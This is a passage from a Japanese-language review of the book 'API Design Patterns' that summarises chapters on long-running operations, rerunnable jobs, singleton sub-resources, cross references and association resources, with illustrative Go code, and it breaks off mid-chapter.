methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\"id\"` Done bool `json:\"done\"` Result interface{} `json:\"result,omitempty\"` Error *ErrorInfo `json:\"error,omitempty\"` Metadata interface{} `json:\"metadata,omitempty\"`}type ErrorInfo struct { Code int `json:\"code\"` Message string `json:\"message\"` Details map[string]interface{} `json:\"details,omitempty\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \"Operation cancelled by the user.\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\"id\"` ChatRoomID string `json:\"chatRoomId\"` Destination string `json:\"destination\"` CompressionFormat string `json:\"compressionFormat\"` EncryptionKey string `json:\"encryptionKey\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\"operations/backup_%s\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \"RUNNING\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\"id\"` JobID string `json:\"jobId\"` ExecutionTime time.Time `json:\"executionTime\"` SentenceComplexity float64 `json:\"sentenceComplexity\"` Sentiment float64 `json:\"sentiment\"` AbuseScore float64 `json:\"abuseScore\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\"id\"` Name string `json:\"name\"` LicensePlate string `json:\"licensePlate\"`}type DriverLocation struct { ID string `json:\"id\"` DriverID string `json:\"driverId\"` Latitude float64 `json:\"latitude\"` Longitude float64 `json:\"longitude\"` UpdatedAt time.Time `json:\"updatedAt\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\"id\"` Title string `json:\"title\"` AuthorID string `json:\"authorId\"`}type Author struct { ID string `json:\"id\"` Name string `json:\"name\"`}type ChangeLogEntry struct { ID string `json:\"id\"` TargetID string `json:\"targetId\"` TargetType string `json:\"targetType\"` Description string `json:\"description\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\"id\"` UserID string `json:\"userId\"` GroupID string `json:\"groupId\"` JoinedAt time.Time `json:\"joinedAt\"` Role string `json:\"role\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 